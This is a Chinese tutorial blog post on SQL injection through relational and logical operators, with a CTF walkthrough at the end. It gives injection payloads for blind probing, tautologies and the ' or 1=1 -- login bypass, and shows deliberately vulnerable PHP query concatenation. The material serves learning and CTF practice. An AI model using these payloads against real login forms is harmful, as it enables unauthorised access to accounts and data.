IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> SQL注入-04-(最后有实战教学)关系注入&逻辑注入 -> 正文阅读

[大数据]SQL注入-04-(最后有实战教学)关系注入&逻辑注入

关系_逻辑__运算符SQL注入

1、关系运算符

等于:select * from users where id = 10;

类似的还有其他大于、小于、不等于等等。

between : select * from users where id between 1 and 5

in : ---- where id in (1,2,3);

not in: ---- where id not in (1,2,3);

is null: ---- where id is null;

is not null : ---- where id is not null;

like : ---- where id like ‘xiao%’;

关系运算符盲注猜测

SQL查询语句:

$sql="select * from users where uname='$uname'"

正常传参:uname=admin

结果:

select * from users where uname='admin'

网页盲注猜测实例:

注入传参:uname=admin’ and uname>‘a’ and uname<'d

结果:

select * from users where uname='admin' and uname>'a' and uname<'b'

测试当前账户字符长度:

select * from users where uname='admin' and length(user())>0

逐步增大数值,当超过某个数页面显示不正常,那么user表的长度就为那个数。

2、逻辑运算符

与:select * from users where uname=‘xiao’ and age>20;

select 1 && 2;

或:select * from users where uname=‘xiao’ or password=‘123’

非:select * from users where uname not in (‘xiao’,‘xiao1’)

异或:select 1 xor 2;

复杂逻辑与注入逻辑关系:

不变逻辑:

不变逻辑是指我们在正常的SQL查询语句后面增加一些语句,但不会影响查询结果。
例如添加“and 1=1”,该式本来就为真,所以不会影响查询结果。

select * from users where uid=10003 and uname='admin' and 1=1;
select * from users where uid=10003 and uname='admin' or 1=2;
select * from users where uname='admin' && !!!!!!!1;

空集逻辑:

空集逻辑呢,就是添加一些语句使整个SQL查询语句不为真。目的一般是看报错信息,从而判断该如何进行注入。

select * from users where uid=10003 and uname='admin' and 1=2;
select * from users where uid=10003 and uname='admin' and 0=true;
select * from users where uname='admin' && !1;

全集逻辑:

全集逻辑就是在SQL查询语句中添加永真式进行SQL注入,因为它们的布尔值为真,那么在or语句中该SQL查询语句都为真,后台就会进行数据查询了。
类似下面这些等式判断的布尔值都是真:

''=''

在这里插入图片描述

!!!!!!!1

在这里插入图片描述
那么我们在利用注入语句查询信息的时候可以这样用,我们就可以查询users表中的用户信息啦。

select * from users where uid=10003 and uname='admin' or 1=1;
select * from users where uname='admin' or !!!1;
select * from users where uname='admin' or !!!!!!!1;
select * from users where uname='admin' or ' '=' ';

3、全集逻辑绕过密码验证

PHP代码中SQL查询语句:

$sql="select * from users where uname=".$uname." and password=".password.";

正常传参:$uname=‘xiao’

? $password=‘123’

结果:

select * from users where uname='xiao' and password='123'

注入传参:
$uname=’ or ‘1’ = ‘1’ –

结果:

select * from users where uname=''  or '1'='1' -- and password=''

解释注入传参的意图:首先闭合单引号,然后添加“or 1=1”用永真式使语句为真,最后使用“–”注释符将后面的语句注释掉。

实战例子:BUUCTF中的一个题目:[极客大挑战 2019]EasySQL
在这里插入图片描述

账号密码都是输入 ‘ or 1=1–
点击登录
在这里插入图片描述
那么就绕过了账号密码验证,登录成功,拿下flag!!!

最后:如果觉得文章还不错的话,请关注、点赞、评论,我会接着写这类的文章分享给大家的!!!

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-12-01 17:46:35  更:2021-12-01 17:47:02 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 9:09:10-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码